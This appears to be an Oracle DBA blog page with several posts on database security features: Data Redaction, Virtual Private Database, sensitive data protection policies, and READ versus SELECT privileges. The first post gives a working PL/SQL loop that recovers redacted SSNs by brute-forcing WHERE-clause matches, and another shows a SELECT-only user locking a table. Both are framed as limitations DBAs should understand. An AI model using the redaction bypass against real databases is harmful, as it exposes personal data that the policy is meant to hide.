Security etiketine sahip kayıtlar gösteriliyor. Tüm kayıtları göster
Security etiketine sahip kayıtlar gösteriliyor. Tüm kayıtları göster

24 Mart 2020 Salı

HOW TO HACK ORACLE DATA REDACTION?

Data Redaction is a feature which protects the sensitive data on the fly in SQL query results from applications or users. So, unauthorized users can not see the original data.

However, there are some limitations which we need to be aware of before using Data Redacton:

Let's see the scenario:

I have a table EMPLOYEES_TEST and it has SSN column which has very sensitive data:











I'm creating a policy which will redact the sensitive column for HR user:

BEGIN
  DBMS_REDACT.add_policy
       (object_schema       => 'HR',
        object_name         => 'EMPLOYEES_TEST',
        column_name         => 'SSN',
        policy_name         => 'SSN_REDACT',
        function_type       => DBMS_REDACT.partial,
        function_parameters => 'FVVVVF,*VVVV*,*,1,1',
        expression          => 'SYS_CONTEXT(''USERENV'',''SESSION_USER'') = ''HR''');
end;

Test the policy:














It looks like policy is working. We couldnt see the whole data of SSN column.

Unfortunately, HR user is very curious to see the SSN of employees and wanted to try the following PL SQL block:

DECLARE
  SSN varchar2(1000);
BEGIN
  FOR rec IN 1 .. 999999 LOOP
    BEGIN
      SELECT FIRST_NAME || ' ' || LAST_NAME || '''s SSN is ' || rec
        into SSN
        FROM HR.EMPLOYEES_TEST
       WHERE SSN = to_char(rec);

      DBMS_OUTPUT.PUT_LINE(SSN);

    EXCEPTION
      WHEN NO_DATA_FOUND THEN
        CONTINUE;
    END;
  END LOOP;
END;
And he gets the output as:

Steven King's          SSN is   123456
Neena Kochhar's        SSN is   234567
Lex De Haan's          SSN is   345608
Alexander Hunold's     SSN is   456789
Bruce Ernst's          SSN is   563890
David Austin's         SSN is   668901
Valli Pataballa's      SSN is   789012
Diana Lorentz's        SSN is   890523
Nancy Greenberg's      SSN is   901234 

What is the limitation?

If you use the redacted column in "where" clause as a filter with original data, the data is validated and  not getting redacted.

So, we should be careful while using Data Redaction and understand its capabilities.






17 Ocak 2020 Cuma

Oracle Virtual Private Database

ORACLE VIRTUAL PRIVATE DATABASE


This is my scenario:

There are 3 managers and they have access to "HR.MYEMPLOYEES" table to see the details of employees which are working for their own department but we dont want them to see other departments' employees.

Create users for managers and give the required privileges:

create user Neena identified by Neena;
grant connect to Neena;
grant select on hr.myemployees to Neena;

create user Alexander identified by Alexander;
grant connect to Alexander;
grant select on hr.myemployees to Alexander;

create user Nancy identified by Nancy;
grant connect to Nancy;
grant select on hr.myemployees to Nancy;

Check "HR.MYEMPLOYEES" table:
select * from hr.myemployees;




Neena's employee_id........=101
Alexander's employee_id....=103
Nancy's employee_id........=108


We need the function which we'll use it for VPD policy:
CREATE OR REPLACE FUNCTION man_policy_func(user_name IN VARCHAR2,
                                      tab_name  in varchar2)
  RETURN varchar2 IS
  granted_manager NUMBER;
BEGIN
  CASE SYS_CONTEXT('USERENV', 'SESSION_USER')
    WHEN 'NEENA' THEN
      granted_manager := 101;
    WHEN 'ALEXANDER' THEN
      granted_manager := 103;
    WHEN 'NANCY' THEN
      granted_manager := 108;
    ELSE
      granted_manager := 0;
  END CASE;

  RETURN 'manager_id=' || granted_manager;

END;

With this function, Oracle will add the following clause on each query for our table:

where manager_id = &granted_manager;

Now, let's create the VPD policy:

BEGIN
      SYS.DBMS_RLS.ADD_POLICY(
        object_schema   => 'hr',
        object_name     => 'myemployees',
        policy_name     => 'manager_policy_vpd',
        function_schema => 'SYS',
        policy_function => 'man_policy_func',
        statement_types => 'select'
     );
  END;

Check if our VPD policy is working:



  • As you see, Neena could only see the employees whose manager_id is 101













  • Like Neena, Alexander can see only his employees.


2 Ocak 2020 Perşembe

Oracle Transparent Sensitive Data Protection

The aim of this post is creating a sensitive type, associate it to columns and combine it to "Oracle Sensitive Data Protection".

In our scenario, there is an application user called "APPUSER" and it has privileges to select and see the original data but we dont want any other users (even the owner of table) will see the sensitive data of the related tables.

Our sensitive column is TCKN and its datatype is "varchar2"

Create tables with sensitive column:
CREATE TABLE HR.employees (first_name varchar2(20), 
                           last_name varchar2(20), 
                           telephone_num varchar2(20), 
                           TCKN varchar2(11));

CREATE TABLE HR.accounts (TCKN varchar2(11), 
                          branch_id number(5), 
                          deposit number(10));

Insert data:
insert into HR.employees values ('Emre','Ozturk','222-333-444','11223344550');
insert into HR.employees values ('Ahmet','Yilmaz','444-555-666','22334455660');
insert into HR.employees values ('Okan','Demirel','666-777-888','33445566770');
insert into HR.employees values ('Alper','Akin','000-111-222','44556677880');
commit;

insert into HR.accounts values ('11223344550',120,2450);
insert into HR.accounts values ('22334455660',156,2450);
insert into HR.accounts values ('33445566770',134,2450);
insert into HR.accounts values ('44556677880',197,2450);
commit;

Create our sensitive type:
BEGIN
  DBMS_TSDP_MANAGE.ADD_SENSITIVE_TYPE(sensitive_type => 'TYPE_FOR_TCKN',
                                      user_comment   => 'Type for Identitiy Number columns using a varchar data type');
END;

We can check the created type:
select * from DBA_SENSITIVE_COLUMN_TYPES ;

Add our 1st sensitive column to associate the sensitive type:
BEGIN
  DBMS_TSDP_MANAGE.ADD_SENSITIVE_COLUMN(schema_name    => 'HR',
                                        table_name     => 'EMPLOYEES',
                                        column_name    => 'TCKN',
                                        sensitive_type => 'TYPE_FOR_TCKN',
                                        user_comment   => 'Associate EMPLOYEES table for sensitive column');
END;

Create the Transparent Sensitive Data Protection Policy:

For this policy, we will redact the TCKN column of first and last 3 digits. Only "appuser" will see the original data:
DECLARE
  redact_feature_options DBMS_TSDP_PROTECT.FEATURE_OPTIONS;
  policy_conditions      DBMS_TSDP_PROTECT.POLICY_CONDITIONS;
BEGIN
  redact_feature_options('expression') := 'SYS_CONTEXT(''USERENV'',''SESSION_USER'') !=''APPUSER''';
  redact_feature_options('function_type') := 'DBMS_REDACT.PARTIAL';
  redact_feature_options('function_parameters') := 'FFVVVVVVFFF,**VVVVVV***,*,1,1';
  policy_conditions(DBMS_TSDP_PROTECT.DATATYPE) := 'VARCHAR2';
  DBMS_TSDP_PROTECT.ADD_POLICY('PARTIAL_TCKN_POL',
                               DBMS_TSDP_PROTECT.REDACT,
                               redact_feature_options,
                               policy_conditions);
END;

Associate the Policy with a Sensitive Type:
BEGIN
     DBMS_TSDP_PROTECT.ASSOCIATE_POLICY(
     policy_name        => 'PARTIAL_TCKN_POL',
     sensitive_type     => 'TYPE_FOR_TCKN',
     associate          => TRUE);
END;

Enable Protection:
BEGIN
  DBMS_TSDP_PROTECT.ENABLE_PROTECTION_TYPE(sensitive_type => 'TYPE_FOR_TCKN');
END;

Select table with appuser:
SQL> conn appuser/ora123;
Connected.

SQL> select * from hr.employees;

FIRST_NAME           LAST_NAME            TELEPHONE_NUM        TCKN
-------------------- -------------------- -------------------- -----------
Emre                 Ozturk               222-333-444          11223344550
Ahmet                Yilmaz               444-555-666          22334455660
Okan                 Demirel              666-777-888          33445566770
Alper                Akin                 000-111-222          44556677880

Select table with HR:
SQL> conn hr/hr
Connected.
 
SQL> select * from hr.employees;

FIRST_NAME           LAST_NAME            TELEPHONE_NUM        TCKN
-------------------- -------------------- -------------------- -----------
Emre                 Ozturk               222-333-444          ***23344***
Ahmet                Yilmaz               444-555-666          ***34455***
Okan                 Demirel              666-777-888          ***45566***
Alper                Akin                 000-111-222          ***56677***


Now associate this sensitive type to TCKN column of another table:
BEGIN
  DBMS_TSDP_MANAGE.ADD_SENSITIVE_COLUMN(schema_name    => 'HR',
                                        table_name     => 'ACCOUNTS',
                                        column_name    => 'TCKN',
                                        sensitive_type => 'TYPE_FOR_TCKN',
                                        user_comment   => 'Sensitive column addition of TCKN_type');
END;

Disable and Enable the protection:
BEGIN
  DBMS_TSDP_PROTECT.DISABLE_PROTECTION_TYPE(sensitive_type => 'TYPE_FOR_TCKN');
  DBMS_TSDP_PROTECT.ENABLE_PROTECTION_TYPE(sensitive_type => 'TYPE_FOR_TCKN');
END;

Now query the table with HR:
SQL> conn appuser/ora123
Connected.

SQL> select * from hr.accounts

TCKN         BRANCH_ID    DEPOSIT
----------- ---------- ----------
11223344550        120       2450
22334455660        156       3650
33445566770        134       1480
44556677880        197       8690

SQL> conn hr/hr
Connected.

SQL> select * from hr.accounts

TCKN         BRANCH_ID    DEPOSIT
----------- ---------- ----------
***23344***        120       2450
***34455***        156       3650
***45566***        134       1480
***56677***        197       8690

10 Temmuz 2019 Çarşamba

Oracle Database 12c => Read Privilege

Do you think "SELECT" privilege is very innocent?

Maybe we should consider that one more time:

Creating a user and give priviliges which can select "hr.employees" table.
SQL> create user myuser identified by ora123;

User created.

SQL> grant connect, resource to myuser;

Grant succeeded.

SQL> grant select on hr.employees to myuser;

Grant succeeded.
Connect with new user and select employees table with "FOR UPDATE" option:
SQL> conn myuser
Enter password: 
Connected.

SQL> show user
USER is "MYUSER"

SQL> select * from hr.employees for update;
.
.
.
107 rows selected.

SQL> 
As you see I could lock whole table only with "SELECT" privilege.
It means if you give "SELECT" privilege for a table to a specific user, that user is able to lock against DML transactions from other sessions.

So, it means you should be very careful while giving "SELECT" privilege or you can user "READ" privilege with 12c.

Let's try "READ" privilege
SQL> create user myuser2 identified by ora123;   

User created.

SQL> grant connect, resource to myuser2;

Grant succeeded.

SQL> grant read on hr.employees to myuser2;

Grant succeeded.
Now, try to lock the table with "READ" privilege
SQL> conn myuser2;
Enter password: 

SQL> show user;
USER is "MYUSER2"

SQL> select * from hr.employees for update;

select * from hr.employees for update
                 *
ERROR at line 1:
ORA-01031: insufficient privileges

If you are using Oracle Database 12c, it is much more better to give "READ" privilege to your users if they only need to see table's data.






23 Mayıs 2019 Perşembe

"O7_DICTIONARY_ACCESSIBILITY" Security Parameter

The "O7_DICTIONARY_ACCESSIBILITY" setting is a database initializations parameter that allows/disallows with the EXECUTE ANY PROCEDURE and SELECT ANY TABLE access to objects in the SYS schema; this functionality was created for the ease of migration from Oracle 7 databases to later versions.

As leaving the SYS schema so open to connection could permit unauthorized access to critical data structures, this value should be set according to the needs of the organization.

Eventually, if this parameter is set to TRUE without your knowledge, your database may be at risk.

From Oracle Docs:

For example, if "O7_DICTIONARY_ACCESSIBILITY" is set to false, then the SELECT ANY TABLE privilege allows access to views or tables in any schema except the SYS schema (data dictionary tables cannot be accessed). The system privilege EXECUTE ANY PROCEDURE allows access on the procedures in any schema except the SYS schema.

If this parameter is set to false and you need to access objects in the SYS schema, then you must be granted explicit object privileges. The following roles, which can be granted to the database administrator, also allow access to dictionary objects:


  • SELECT_CATALOG_ROLE
  • EXECUTE_CATALOG_ROLE
  • DELETE_CATALOG_ROLE